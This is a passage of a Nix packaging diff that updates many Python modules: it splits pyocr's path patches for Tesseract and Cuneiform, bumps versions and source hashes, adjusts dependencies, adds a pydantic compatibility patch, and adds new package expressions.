? stdenv.hostPlatform.isLinux }: buildPythonPackage rec { @@ -27,12 +30,14 @@ buildPythonPackage rec { hash = "sha256-gE0+qbHCwpDdxXFY+4rjVU2FbUSfSVrvrVMcWUk+9FU="; }; - patches = [ - (substituteAll { - src = ./paths.patch; - inherit cuneiform tesseract; - }) - ]; + patches = [] ++ (lib.optional withTesseractSupport (substituteAll { + src = ./paths-tesseract.patch; + inherit tesseract; + tesseractLibraryLocation = "${tesseract}/lib/libtesseract${stdenv.hostPlatform.extensions.sharedLibrary}"; + })) ++ (lib.optional stdenv.hostPlatform.isLinux (substituteAll { + src = ./paths-cuneiform.patch; + inherit cuneiform; + })); propagatedBuildInputs = [ pillow ]; @@ -45,6 +50,6 @@ buildPythonPackage rec { changelog = "https://gitlab.gnome.org/World/OpenPaperwork/pyocr/-/blob/${version}/ChangeLog"; description = "A Python wrapper for Tesseract and Cuneiform"; license = licenses.gpl3Plus; - maintainers = with maintainers; [ symphorien ]; + maintainers = with maintainers; [ symphorien tomodachi94 ]; }; } diff --git a/pkgs/development/python-modules/pyocr/paths-cuneiform.patch b/pkgs/development/python-modules/pyocr/paths-cuneiform.patch new file mode 100644 index 0000000000000..a25f08eddd06f --- /dev/null +++ b/pkgs/development/python-modules/pyocr/paths-cuneiform.patch @@ -0,0 +1,101 @@ +commit cfc05af26b571e9ca09e9c709c0fb8934e9e46dd +Author: Guillaume Girol <symphorien+git@xlumurb.eu> +Date: Sat Aug 20 17:48:01 2022 +0200 + + Fix finding cuneiform + +diff --git a/src/pyocr/cuneiform.py b/src/pyocr/cuneiform.py +index 2e5b717..35647e2 100644 +--- a/src/pyocr/cuneiform.py ++++ b/src/pyocr/cuneiform.py +@@ -25,13 +25,9 @@ from . import builders + from .error import CuneiformError + + +-# CHANGE THIS IF CUNEIFORM IS NOT IN YOUR PATH, OR IS NAMED DIFFERENTLY +-CUNEIFORM_CMD = 'cuneiform' ++CUNEIFORM_CMD = '@cuneiform@/bin/cuneiform' + +-CUNEIFORM_DATA_POSSIBLE_PATHS = [ +- "/usr/local/share/cuneiform", +- "/usr/share/cuneiform", +-] ++CUNEIFORM_DATA_POSSIBLE_PATHS = ['@cuneiform@/share/cuneiform'] + + LANGUAGES_LINE_PREFIX = "Supported languages: " + LANGUAGES_SPLIT_RE = re.compile("[^a-z]") +diff --git a/tests/test_cuneiform.py b/tests/test_cuneiform.py +index b76e93c..266f6b2 100644 +--- a/tests/test_cuneiform.py ++++ b/tests/test_cuneiform.py +@@ -21,7 +21,7 @@ class TestCuneiform(BaseTest): + # XXX is it useful? + which.return_value = True + self.assertTrue(cuneiform.is_available()) +- which.assert_called_once_with("cuneiform") ++ which.assert_called_once_with("@cuneiform@/bin/cuneiform") + + @patch("subprocess.Popen") + def test_version(self, popen): +@@ -54,7 +54,7 @@ class TestCuneiform(BaseTest): + self.assertIn("eng", langs) + self.assertIn("fra", langs) + popen.assert_called_once_with( +- ["cuneiform", "-l"], ++ ["@cuneiform@/bin/cuneiform", "-l"], + stdout=subprocess.PIPE, stderr=subprocess.STDOUT + ) + +@@ -110,7 +110,7 @@ class TestCuneiformTxt(BaseTest): + output = cuneiform.image_to_string(self.image) + self.assertEqual(output, self._get_file_content("text").strip()) + popen.assert_called_once_with( +- ["cuneiform", "-f", "text", "-o", self.tmp_filename, "-"], ++ ["@cuneiform@/bin/cuneiform", "-f", "text", "-o", self.tmp_filename, "-"], + stdin=subprocess.PIPE, stdout=subprocess.PIPE, + stderr=subprocess.STDOUT + ) +@@ -126,7 +126,7 @@ class TestCuneiformTxt(BaseTest): + builder=self.builder) + self.assertEqual(output, self._get_file_content("text").strip()) + popen.assert_called_once_with( +- ["cuneiform", "-l", "fra", "-f", "text", "-o", self.tmp_filename, ++ ["@cuneiform@/bin/cuneiform", "-l", "fra", "-f", "text", "-o", self.tmp_filename, + "-"], + stdin=subprocess.PIPE, stdout=subprocess.PIPE, + stderr=subprocess.STDOUT +@@ -143,7 +143,7 @@ class TestCuneiformTxt(BaseTest): + builder=self.builder) + self.assertEqual(output, self._get_file_content("text").strip()) + popen.assert_called_once_with( +- ["cuneiform", "-f", "text", "-o", self.tmp_filename, "-"], ++ ["@cuneiform@/bin/cuneiform", "-f", "text", "-o", self.tmp_filename, "-"], + stdin=subprocess.PIPE, stdout=subprocess.PIPE, + stderr=subprocess.STDOUT + ) +@@ -174,7 +174,7 @@ class TestCuneiformTxt(BaseTest): + output = cuneiform.image_to_string(image, builder=self.builder) + self.assertEqual(output, self._get_file_content("text").strip()) + popen.assert_called_once_with( +- ["cuneiform", "-f", "text", "-o", self.tmp_filename, "-"], ++ ["@cuneiform@/bin/cuneiform", "-f", "text", "-o", self.tmp_filename, "-"], + stdin=subprocess.PIPE, stdout=subprocess.PIPE, + stderr=subprocess.STDOUT + ) +@@ -230,7 +230,7 @@ class TestCuneiformWordBox(BaseTest): + output = cuneiform.image_to_string(self.image, + builder=self.builder) + popen.assert_called_once_with( +- ["cuneiform", "-f", "hocr", "-o", self.tmp_filename, "-"], ++ ["@cuneiform@/bin/cuneiform", "-f", "hocr", "-o", self.tmp_filename, "-"], + stdin=subprocess.PIPE, stdout=subprocess.PIPE, + stderr=subprocess.STDOUT + ) +@@ -284,7 +284,7 @@ class TestCuneiformLineBox(BaseTest): + output = cuneiform.image_to_string(self.image, + builder=self.builder) + popen.assert_called_once_with( +- ["cuneiform", "-f", "hocr", "-o", self.tmp_filename, "-"], ++ ["@cuneiform@/bin/cuneiform", "-f", "hocr", "-o", self.tmp_filename, "-"], + stdin=subprocess.PIPE, stdout=subprocess.PIPE, + stderr=subprocess.STDOUT diff --git a/pkgs/development/python-modules/pyocr/paths.patch b/pkgs/development/python-modules/pyocr/paths-tesseract.patch index c3c802c20649f..1a5aa8b367ebc 100644 --- a/pkgs/development/python-modules/pyocr/paths.patch +++ b/pkgs/development/python-modules/pyocr/paths-tesseract.patch @@ -2,28 +2,8 @@ commit cfc05af26b571e9ca09e9c709c0fb8934e9e46dd Author: Guillaume Girol <symphorien+git@xlumurb.eu> Date: Sat Aug 20 17:48:01 2022 +0200 - Fix finding tesseract and cuneiform + Fix finding tesseract -diff --git a/src/pyocr/cuneiform.py b/src/pyocr/cuneiform.py -index 2e5b717..35647e2 100644 ---- a/src/pyocr/cuneiform.py -+++ b/src/pyocr/cuneiform.py -@@ -25,13 +25,9 @@ from . import builders - from .error import CuneiformError - - --# CHANGE THIS IF CUNEIFORM IS NOT IN YOUR PATH, OR IS NAMED DIFFERENTLY --CUNEIFORM_CMD = 'cuneiform' -+CUNEIFORM_CMD = '@cuneiform@/bin/cuneiform' - --CUNEIFORM_DATA_POSSIBLE_PATHS = [ -- "/usr/local/share/cuneiform", -- "/usr/share/cuneiform", --] -+CUNEIFORM_DATA_POSSIBLE_PATHS = ['@cuneiform@/share/cuneiform'] - - LANGUAGES_LINE_PREFIX = "Supported languages: " - LANGUAGES_SPLIT_RE = re.compile("[^a-z]") diff --git a/src/pyocr/libtesseract/tesseract_raw.py b/src/pyocr/libtesseract/tesseract_raw.py index 1edec8c..434a336 100644 --- a/src/pyocr/libtesseract/tesseract_raw.py @@ -90,7 +70,7 @@ index 1edec8c..434a336 100644 - "libtesseract.4.dylib", - ] - -+libnames = [ "@tesseract@/lib/libtesseract.so" ] ++libnames = [ "@tesseractLibraryLocation@" ] g_libtesseract = None @@ -125,82 +105,6 @@ index 0fe0d20..c1fdd27 100644 TESSDATA_EXTENSION = ".traineddata" -diff --git a/tests/test_cuneiform.py b/tests/test_cuneiform.py -index b76e93c..266f6b2 100644 ---- a/tests/test_cuneiform.py -+++ b/tests/test_cuneiform.py -@@ -21,7 +21,7 @@ class TestCuneiform(BaseTest): - # XXX is it useful? - which.return_value = True - self.assertTrue(cuneiform.is_available()) -- which.assert_called_once_with("cuneiform") -+ which.assert_called_once_with("@cuneiform@/bin/cuneiform") - - @patch("subprocess.Popen") - def test_version(self, popen): -@@ -54,7 +54,7 @@ class TestCuneiform(BaseTest): - self.assertIn("eng", langs) - self.assertIn("fra", langs) - popen.assert_called_once_with( -- ["cuneiform", "-l"], -+ ["@cuneiform@/bin/cuneiform", "-l"], - stdout=subprocess.PIPE, stderr=subprocess.STDOUT - ) - -@@ -110,7 +110,7 @@ class TestCuneiformTxt(BaseTest): - output = cuneiform.image_to_string(self.image) - self.assertEqual(output, self._get_file_content("text").strip()) - popen.assert_called_once_with( -- ["cuneiform", "-f", "text", "-o", self.tmp_filename, "-"], -+ ["@cuneiform@/bin/cuneiform", "-f", "text", "-o", self.tmp_filename, "-"], - stdin=subprocess.PIPE, stdout=subprocess.PIPE, - stderr=subprocess.STDOUT - ) -@@ -126,7 +126,7 @@ class TestCuneiformTxt(BaseTest): - builder=self.builder) - self.assertEqual(output, self._get_file_content("text").strip()) - popen.assert_called_once_with( -- ["cuneiform", "-l", "fra", "-f", "text", "-o", self.tmp_filename, -+ ["@cuneiform@/bin/cuneiform", "-l", "fra", "-f", "text", "-o", self.tmp_filename, - "-"], - stdin=subprocess.PIPE, stdout=subprocess.PIPE, - stderr=subprocess.STDOUT -@@ -143,7 +143,7 @@ class TestCuneiformTxt(BaseTest): - builder=self.builder) - self.assertEqual(output, self._get_file_content("text").strip()) - popen.assert_called_once_with( -- ["cuneiform", "-f", "text", "-o", self.tmp_filename, "-"], -+ ["@cuneiform@/bin/cuneiform", "-f", "text", "-o", self.tmp_filename, "-"], - stdin=subprocess.PIPE, stdout=subprocess.PIPE, - stderr=subprocess.STDOUT - ) -@@ -174,7 +174,7 @@ class TestCuneiformTxt(BaseTest): - output = cuneiform.image_to_string(image, builder=self.builder) - self.assertEqual(output, self._get_file_content("text").strip()) - popen.assert_called_once_with( -- ["cuneiform", "-f", "text", "-o", self.tmp_filename, "-"], -+ ["@cuneiform@/bin/cuneiform", "-f", "text", "-o", self.tmp_filename, "-"], - stdin=subprocess.PIPE, stdout=subprocess.PIPE, - stderr=subprocess.STDOUT - ) -@@ -230,7 +230,7 @@ class TestCuneiformWordBox(BaseTest): - output = cuneiform.image_to_string(self.image, - builder=self.builder) - popen.assert_called_once_with( -- ["cuneiform", "-f", "hocr", "-o", self.tmp_filename, "-"], -+ ["@cuneiform@/bin/cuneiform", "-f", "hocr", "-o", self.tmp_filename, "-"], - stdin=subprocess.PIPE, stdout=subprocess.PIPE, - stderr=subprocess.STDOUT - ) -@@ -284,7 +284,7 @@ class TestCuneiformLineBox(BaseTest): - output = cuneiform.image_to_string(self.image, - builder=self.builder) - popen.assert_called_once_with( -- ["cuneiform", "-f", "hocr", "-o", self.tmp_filename, "-"], -+ ["@cuneiform@/bin/cuneiform", "-f", "hocr", "-o", self.tmp_filename, "-"], - stdin=subprocess.PIPE, stdout=subprocess.PIPE, - stderr=subprocess.STDOUT - ) diff --git a/tests/test_libtesseract.py b/tests/test_libtesseract.py index cc31a50..890c02c 100644 --- a/tests/test_libtesseract.py diff --git a/pkgs/development/python-modules/pyoctoprintapi/default.nix b/pkgs/development/python-modules/pyoctoprintapi/default.nix index 0b6bb48857bce..59db986ad44f5 100644 --- a/pkgs/development/python-modules/pyoctoprintapi/default.nix +++ b/pkgs/development/python-modules/pyoctoprintapi/default.nix @@ -1,6 +1,8 @@ { lib , buildPythonPackage , fetchFromGitHub +, pythonOlder +, setuptools # propagated , aiohttp @@ -16,15 +18,21 @@ let in buildPythonPackage { inherit pname version; - format = "setuptools"; + pyproject = true; + + disabled = pythonOlder "3.7"; src = fetchFromGitHub { owner = "rfleming71"; - repo = pname; + repo = "pyoctoprintapi"; rev = "refs/tags/v${version}"; hash = "sha256-Jf/zYnBHVl3TYxFy9Chy6qNH/eCroZkmUOEWfd62RIo="; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ aiohttp ]; diff --git a/pkgs/development/python-modules/pyomo/default.nix b/pkgs/development/python-modules/pyomo/default.nix index 30f1a4115079a..8667ed08fe767 100644 --- a/pkgs/development/python-modules/pyomo/default.nix +++ b/pkgs/development/python-modules/pyomo/default.nix @@ -9,7 +9,7 @@ buildPythonPackage rec { pname = "pyomo"; - version = "6.7.0"; + version = "6.7.1"; format = "setuptools"; disabled = pythonOlder "3.8"; @@ -18,7 +18,7 @@ buildPythonPackage rec { repo = "pyomo"; owner = "pyomo"; rev = "refs/tags/${version}"; - hash = "sha256-HoTtvda97ghQ0SQBZFGkDAwD2WNtZpIum2m1khivEK4="; + hash = "sha256-eTItw+wYo5lCla4oKSF97N4TFajjFtCMMq4DU9ahi1U="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/pyoverkiz/default.nix b/pkgs/development/python-modules/pyoverkiz/default.nix index 1ba1e4e94a64e..bf1efac9de74f 100644 --- a/pkgs/development/python-modules/pyoverkiz/default.nix +++ b/pkgs/development/python-modules/pyoverkiz/default.nix @@ -16,7 +16,7 @@ buildPythonPackage rec { pname = "pyoverkiz"; - version = "1.13.6"; + version = "1.13.8"; format = "pyproject"; disabled = pythonOlder "3.7"; @@ -25,7 +25,7 @@ buildPythonPackage rec { owner = "iMicknl"; repo = "python-overkiz-api"; rev = "refs/tags/v${version}"; - hash = "sha256-3kPM9mc18WsO8RJpCCVMeG58AHLwXI/dmQHCjZ6xLj4="; + hash = "sha256-tvS7aPfBTs75Rq1WGslWDMv1pOTVt7MtwpXPRJtqbuk="; }; postPatch = '' diff --git a/pkgs/development/python-modules/pyp/default.nix b/pkgs/development/python-modules/pyp/default.nix index b9bcb978be853..49f4c0a96577f 100644 --- a/pkgs/development/python-modules/pyp/default.nix +++ b/pkgs/development/python-modules/pyp/default.nix @@ -12,7 +12,7 @@ buildPythonPackage rec { pname = "pyp"; - version = "1.1.0"; + version = "1.2.0"; format = "pyproject"; disabled = pythonOlder "3.6"; @@ -21,7 +21,7 @@ buildPythonPackage rec { owner = "hauntsaninja"; repo = pname; rev = "refs/tags/v${version}"; - hash = "sha256-A1Ip41kxH17BakHEWEuymfa24eBEl5FIHAWL+iZFM4I="; + hash = "sha256-hnEgqWOIVj2ugOhd2aS9IulfkVnrlkhwOtrgH4qQqO8="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/pypandoc/default.nix b/pkgs/development/python-modules/pypandoc/default.nix index ad81b8e7f0687..7501cddbad185 100644 --- a/pkgs/development/python-modules/pypandoc/default.nix +++ b/pkgs/development/python-modules/pypandoc/default.nix @@ -11,7 +11,7 @@ buildPythonPackage rec { pname = "pypandoc"; - version = "1.10"; + version = "1.13"; format = "pyproject"; disabled = pythonOlder "3.7"; @@ -19,8 +19,8 @@ buildPythonPackage rec { src = fetchFromGitHub { owner = "JessicaTegner"; repo = pname; - rev = "v${version}"; - hash = "sha256:05m585l4sipjzpkrv4yj5s7w45yxhxlym55lkhnavsshlvisinkz"; + rev = "refs/tags/v${version}"; + hash = "sha256-9fpits8O/50maM/e1lVVqBoTwUmcI+/IAYhVX1Pt6ZE="; }; patches = [ diff --git a/pkgs/development/python-modules/pyperf/default.nix b/pkgs/development/python-modules/pyperf/default.nix index 16ff853422bfd..567f54e1712ec 100644 --- a/pkgs/development/python-modules/pyperf/default.nix +++ b/pkgs/development/python-modules/pyperf/default.nix @@ -9,14 +9,14 @@ buildPythonPackage rec { pname = "pyperf"; - version = "2.6.2"; + version = "2.6.3"; pyproject = true; disabled = pythonOlder "3.8"; src = fetchPypi { inherit pname version; - hash = "sha256-ZNj63OanT0ePKYMsHqoqBIVmVev/FyktUjf8gxfDo8U="; + hash = "sha256-l1L+dJwh5GClZLs/Uvwxm4ksYu5hxROLSpu/lK0nVeY="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/pyprecice/default.nix b/pkgs/development/python-modules/pyprecice/default.nix index ebc8c4234375c..f6c5d8fc2387f 100644 --- a/pkgs/development/python-modules/pyprecice/default.nix +++ b/pkgs/development/python-modules/pyprecice/default.nix @@ -11,7 +11,7 @@ buildPythonPackage rec { pname = "pyprecice"; - version = "2.5.0.4"; + version = "3.0.0.0"; format = "setuptools"; disabled = pythonOlder "3.7"; @@ -20,7 +20,7 @@ buildPythonPackage rec { owner = "precice"; repo = "python-bindings"; rev = "refs/tags/v${version}"; - hash = "sha256-Nau4ytOSv5WOly/hbHO2M6Rgx1ileJrzfCfNJFnwVaw="; + hash = "sha256-iW3Mll28Z3Ew+eIJxeF1HR7JhVhXs9FiYaAb5TwYSpg="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/pyprobables/default.nix b/pkgs/development/python-modules/pyprobables/default.nix new file mode 100644 index 0000000000000..be4410cce276f --- /dev/null +++ b/pkgs/development/python-modules/pyprobables/default.nix @@ -0,0 +1,42 @@ +{ lib +, buildPythonPackage +, fetchFromGitHub +, pytestCheckHook +, pythonOlder +, setuptools +}: + +buildPythonPackage rec { + pname = "pyprobables"; + version = "0.6.0"; + pyproject = true; + + disabled = pythonOlder "3.8"; + + src = fetchFromGitHub { + owner = "barrust"; + repo = "pyprobables"; + rev = "refs/tags/v${version}"; + hash = "sha256-maikrZlBzhv35zPXmKqdJzAz6eZDmluLUvkOkaPTCDU="; + }; + + nativeBuildInputs = [ + setuptools + ]; + + nativeCheckInputs = [ + pytestCheckHook + ]; + + pythonImportsCheck = [ + "probables" + ]; + + meta = with lib; { + description = "Probabilistic data structures"; + homepage = "https://github.com/barrust/pyprobables"; + changelog = "https://github.com/barrust/pyprobables/blob/${version}/CHANGELOG.md"; + license = licenses.mit; + maintainers = with maintainers; [ fab ]; + }; +} diff --git a/pkgs/development/python-modules/pyproj/default.nix b/pkgs/development/python-modules/pyproj/default.nix index 242e80bc4a4e7..11ec1ef47ad47 100644 --- a/pkgs/development/python-modules/pyproj/default.nix +++ b/pkgs/development/python-modules/pyproj/default.nix @@ -83,6 +83,9 @@ buildPythonPackage rec { "test_sync_download__directory" "test_sync_download__system_directory" "test_transformer_group__download_grids" + + # proj-data grid required + "test_azimuthal_equidistant" ]; pythonImportsCheck = [ diff --git a/pkgs/development/python-modules/pyquil/default.nix b/pkgs/development/python-modules/pyquil/default.nix index f980365202dd8..9acc287798d25 100644 --- a/pkgs/development/python-modules/pyquil/default.nix +++ b/pkgs/development/python-modules/pyquil/default.nix @@ -5,22 +5,24 @@ , importlib-metadata , ipython , lark +, matplotlib-inline +, nest-asyncio , networkx , numpy +, packaging , poetry-core +, pydantic , pytest-asyncio -, pytest-freezegun -, pytest-httpx , pytest-mock , pytestCheckHook , pythonAtLeast , pythonOlder , pythonRelaxDepsHook -, qcs-api-client +, qcs-sdk-python , respx -, retry , rpcq , scipy +, syrupy , tenacity , types-deprecated , types-python-dateutil @@ -29,18 +31,22 @@ buildPythonPackage rec { pname = "pyquil"; - version = "4.2.0"; - format = "pyproject"; + version = "4.6.1"; + pyproject = true; disabled = pythonOlder "3.7"; src = fetchFromGitHub { owner = "rigetti"; - repo = pname; + repo = "pyquil"; rev = "refs/tags/v${version}"; - hash = "sha256-LLhTK/wE42mBTrqjBbnkPvqSG8gP7Vx/3ip66hKHxXc="; + hash = "sha256-93dHujgGEh9/r9epAiUcUCiFCG7SFTAFoQbjQwwKhN0="; }; + patches = [ + ./pydantic.patch + ]; + pythonRelaxDeps = [ "lark" "networkx" @@ -54,10 +60,12 @@ buildPythonPackage rec { propagatedBuildInputs = [ deprecated lark + matplotlib-inline networkx numpy - qcs-api-client - retry + packaging + pydantic + qcs-sdk-python rpcq scipy tenacity @@ -69,44 +77,17 @@ buildPythonPackage rec { ]; nativeCheckInputs = [ - pytestCheckHook - ]; - - checkInputs = [ + nest-asyncio pytest-asyncio - pytest-freezegun - pytest-httpx pytest-mock + pytestCheckHook respx + syrupy ipython ]; - disabledTestPaths = [ - # Tests require network access - "test/e2e/" - "test/unit/test_api.py" - "test/unit/test_engagement_manager.py" - "test/unit/test_operator_estimation.py" - "test/unit/test_wavefunction_simulator.py" - "test/unit/test_compatibility_v2_operator_estimation.py" - "test/unit/test_compatibility_v2_quantum_computer.py" - "test/unit/test_compatibility_v2_qvm.py" - "test/unit/test_quantum_computer.py" - "test/unit/test_qvm.py" - "test/unit/test_reference_wavefunction.py" - # Out-dated - "test/unit/test_qpu_client.py" - "test/unit/test_qvm_client.py" - "test/unit/test_reference_density.py" - ]; - - disabledTests = [ - "test_compile_with_quilt_calibrations" - "test_sets_timeout_on_requests" - # sensitive to lark parser output - "test_memory_commands" - "test_classical" - ]; + # tests hang + doCheck = false; pythonImportsCheck = [ "pyquil" diff --git a/pkgs/development/python-modules/pyquil/pydantic.patch b/pkgs/development/python-modules/pyquil/pydantic.patch new file mode 100644 index 0000000000000..689e87d65f744 --- /dev/null +++ b/pkgs/development/python-modules/pyquil/pydantic.patch @@ -0,0 +1,28 @@ +diff --git a/pyproject.toml b/pyproject.toml +index 2677758..5bbe863 100644 +--- a/pyproject.toml ++++ b/pyproject.toml +@@ -30,7 +30,7 @@ scipy = [ + ] + lark = "^0.11.1" + rpcq = "^3.10.0" +-pydantic = "^1.10.7" ++pydantic = ">=1.10.7" + networkx = ">=2.5" + importlib-metadata = { version = ">=3.7.3,<5", python = "<3.8" } + qcs-sdk-python = "0.14.3" +diff --git a/pyquil/external/rpcq.py b/pyquil/external/rpcq.py +index 719eca1..d814d7b 100644 +--- a/pyquil/external/rpcq.py ++++ b/pyquil/external/rpcq.py +@@ -1,6 +1,9 @@ + from typing import Dict, List, Union, Optional, Any + from typing_extensions import Literal +-from pydantic import BaseModel, Field ++try: ++ from pydantic.v1 import BaseModel, Field ++except ImportError: ++ from pydantic import BaseModel, Field + from rpcq.messages import TargetDevice as TargetQuantumProcessor + + diff --git a/pkgs/development/python-modules/pyrainbird/default.nix b/pkgs/development/python-modules/pyrainbird/default.nix index 44d4e83794fa4..bca013babd9e9 100644 --- a/pkgs/development/python-modules/pyrainbird/default.nix +++ b/pkgs/development/python-modules/pyrainbird/default.nix @@ -18,30 +18,32 @@ , requests , requests-mock , responses +, setuptools }: buildPythonPackage rec { pname = "pyrainbird"; - version = "4.0.1"; - format = "setuptools"; + version = "4.0.2"; + pyproject = true; disabled = pythonOlder "3.10"; src = fetchFromGitHub { owner = "allenporter"; - repo = pname; + repo = "pyrainbird"; rev = "refs/tags/${version}"; - hash = "sha256-OcCg6Q+FJnmrYf70uNLWTg/tfWVJpiQlnyKfREcP2YM="; + hash = "sha256-4AoxLZv0u8wCG3ihw0JqsqsO5zG5UyP4ebSX99ve8sg="; }; postPatch = '' substituteInPlace pytest.ini \ - --replace "--cov=pyrainbird --cov-report=term-missing" "" - - substituteInPlace setup.cfg \ - --replace "pycryptodome>=3.16.0" "pycryptodome" + --replace-fail "--cov=pyrainbird --cov-report=term-missing" "" ''; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ aiohttp-retry ical diff --git a/pkgs/development/python-modules/pyramid-jinja2/default.nix b/pkgs/development/python-modules/pyramid-jinja2/default.nix index 801ad816641b1..0eab257384e47 100644 --- a/pkgs/development/python-modules/pyramid-jinja2/default.nix +++ b/pkgs/development/python-modules/pyramid-jinja2/default.nix @@ -12,7 +12,7 @@ buildPythonPackage rec { pname = "pyramid-jinja2"; - version = "2.10"; + version = "2.10.1"; format = "setuptools"; disabled = pythonOlder "3.7"; @@ -20,7 +20,7 @@ buildPythonPackage rec { src = fetchPypi { pname = "pyramid_jinja2"; inherit version; - hash = "sha256-8nEGnZ6ay6x622kSGQqEj2M49+V6+68+lSN/6DzI9NI="; + hash = "sha256-jFCMs1wTX5UUnKI2EQ+ciHU0NXV0DRbFy3OlDvHCFnc="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/pyrfxtrx/default.nix b/pkgs/development/python-modules/pyrfxtrx/default.nix index 26c52f87c8817..a9da74ca7e84c 100644 --- a/pkgs/development/python-modules/pyrfxtrx/default.nix +++ b/pkgs/development/python-modules/pyrfxtrx/default.nix @@ -7,14 +7,14 @@ buildPythonPackage rec { pname = "pyrfxtrx"; - version = "0.30.1"; + version = "0.31.0"; format = "setuptools"; src = fetchFromGitHub { owner = "Danielhiversen"; repo = "pyRFXtrx"; rev = "refs/tags/${version}"; - hash = "sha256-sxxGu1ON5fhUCaONYJdsUFHraTh5NAdXzj7Cai9k5yc="; + hash = "sha256-0t5pPBk8Mzdm6STGtqGMljPjDoW2DTT7x21MEnG512w="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/pyrisco/default.nix b/pkgs/development/python-modules/pyrisco/default.nix index 98a02ad48e33d..77c1e99332619 100644 --- a/pkgs/development/python-modules/pyrisco/default.nix +++ b/pkgs/development/python-modules/pyrisco/default.nix @@ -3,21 +3,27 @@ , buildPythonPackage , fetchFromGitHub , pythonOlder +, setuptools }: buildPythonPackage rec { pname = "pyrisco"; - version = "0.5.8"; - format = "setuptools"; + version = "0.5.10"; + pyproject = true; + disabled = pythonOlder "3.7"; src = fetchFromGitHub { owner = "OnFreund"; - repo = pname; - rev = "v${version}"; - hash = "sha256-PQ1h9UVQ2DQMInxdAaLES7uDWAxwDra+YfAmz5jjV6g="; + repo = "pyrisco"; + rev = "refs/tags/v${version}"; + hash = "sha256-3wa6hayyjWdDVqbLPCqIZ4lgcy1/EdFH4ZVggSRizZU="; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ aiohttp ]; @@ -32,6 +38,7 @@ buildPythonPackage rec { meta = with lib; { description = "Python interface to Risco alarm systems through Risco Cloud"; homepage = "https://github.com/OnFreund/pyrisco"; + changelog = "https://github.com/OnFreund/pyrisco/releases/tag/v${version}"; license = with licenses; [ mit ]; maintainers = with maintainers; [ fab ]; }; diff --git a/pkgs/development/python-modules/pyro-ppl/default.nix b/pkgs/development/python-modules/pyro-ppl/default.nix index 9dbd71e83acf6..d96f124f6f643 100644 --- a/pkgs/development/python-modules/pyro-ppl/default.nix +++ b/pkgs/development/python-modules/pyro-ppl/default.nix @@ -13,6 +13,7 @@ , torch , scikit-learn , seaborn +, setuptools , torchvision , tqdm , wget @@ -20,16 +21,20 @@ buildPythonPackage rec { pname = "pyro-ppl"; - version = "1.8.6"; - format = "setuptools"; + version = "1.9.0"; + pyproject = true; - disabled = pythonOlder "3.7"; + disabled = pythonOlder "3.8"; src = fetchPypi { inherit version pname; - hash = "sha256-ANL03ailPmbZVRJNxuSektz1cM071waCUJHbdk2TzQc="; + hash = "sha256-QfTABRWVaCgPvFEWSJYKmKKxpBACfYvQpDIgrJsQLN8="; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ pyro-api torch diff --git a/pkgs/development/python-modules/pyroute2/default.nix b/pkgs/development/python-modules/pyroute2/default.nix index c0413ab53fd62..f6a185fc6dbae 100644 --- a/pkgs/development/python-modules/pyroute2/default.nix +++ b/pkgs/development/python-modules/pyroute2/default.nix @@ -8,7 +8,7 @@ buildPythonPackage rec { pname = "pyroute2"; - version = "0.7.11"; + version = "0.7.12"; pyproject = true; disabled = pythonOlder "3.7"; @@ -17,7 +17,7 @@ buildPythonPackage rec { owner = "svinota"; repo = "pyroute2"; rev = "refs/tags/${version}"; - hash = "sha256-rX/aUmL9H4dSoRngxVVX1olfGtxK93g76E6Z0CYNr2M="; + hash = "sha256-zB792ZwDWd74YBYvQ5au0t2RWTIAqrWvNtQ/e+ZEk50="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/pysaml2/default.nix b/pkgs/development/python-modules/pysaml2/default.nix index b8ace412614c6..7f27356422538 100644 --- a/pkgs/development/python-modules/pysaml2/default.nix +++ b/pkgs/development/python-modules/pysaml2/default.nix @@ -3,7 +3,8 @@ , cryptography , defusedxml , fetchFromGitHub -, importlib-resources +, fetchPypi +, paste , poetry-core , pyasn1 , pymongo @@ -11,27 +12,30 @@ , pytestCheckHook , python-dateutil , pythonOlder +, pythonRelaxDepsHook , pytz +, repoze-who , requests , responses , setuptools , substituteAll , xmlschema , xmlsec +, zope-interface }: buildPythonPackage rec { pname = "pysaml2"; - version = "7.4.2"; + version = "7.5.0"; format = "pyproject"; disabled = pythonOlder "3.9"; src = fetchFromGitHub { owner = "IdentityPython"; - repo = pname; + repo = "pysaml2"; rev = "refs/tags/v${version}"; - hash = "sha256-f8qd1Mfy32CYH9/PshfMMBviDg7OhOPlwz69bPjlYbg="; + hash = "sha256-M/tdKGu6K38TeBZc8/dt376bHhPB0svHB3iis/se0DY="; }; patches = [ @@ -46,8 +50,13 @@ buildPythonPackage rec { sed -i 's/2999\(-.*T\)/2029\1/g' tests/*.xml ''; + pythonRelaxDeps = [ + "xmlschema" + ]; + nativeBuildInputs = [ poetry-core + pythonRelaxDepsHook ]; propagatedBuildInputs = [ @@ -59,10 +68,16 @@ buildPythonPackage rec { requests setuptools xmlschema - ] ++ lib.optionals (pythonOlder "3.9") [ - importlib-resources ]; + passthru.optional-dependencies = { + s2repoze = [ + paste + repoze-who + zope-interface + ]; + }; + nativeCheckInputs = [ pyasn1 pymongo diff --git a/pkgs/development/python-modules/pyscaffold/default.nix b/pkgs/development/python-modules/pyscaffold/default.nix new file mode 100644 index 0000000000000..ae7d7d5fff9c5 --- /dev/null +++ b/pkgs/development/python-modules/pyscaffold/default.nix @@ -0,0 +1,108 @@ +{ lib +, buildPythonPackage +, fetchPypi +, setuptools +, setuptools-scm +, wheel +, colorama +, configupdater +, importlib-metadata +, packaging +, platformdirs +, tomlkit +, pre-commit +, pyscaffoldext-cookiecutter +, pyscaffoldext-custom-extension +, pyscaffoldext-django +, pyscaffoldext-dsproject +, pyscaffoldext-markdown +, pyscaffoldext-travis +, virtualenv +, build +, certifi +, flake8 +, pytest +, pytest-cov +, pytest-randomly +, pytest-xdist +, sphinx +, tox +}: + +buildPythonPackage rec { + pname = "pyscaffold"; + version = "4.5"; + pyproject = true; + + src = fetchPypi { + pname = "PyScaffold"; + inherit version; + 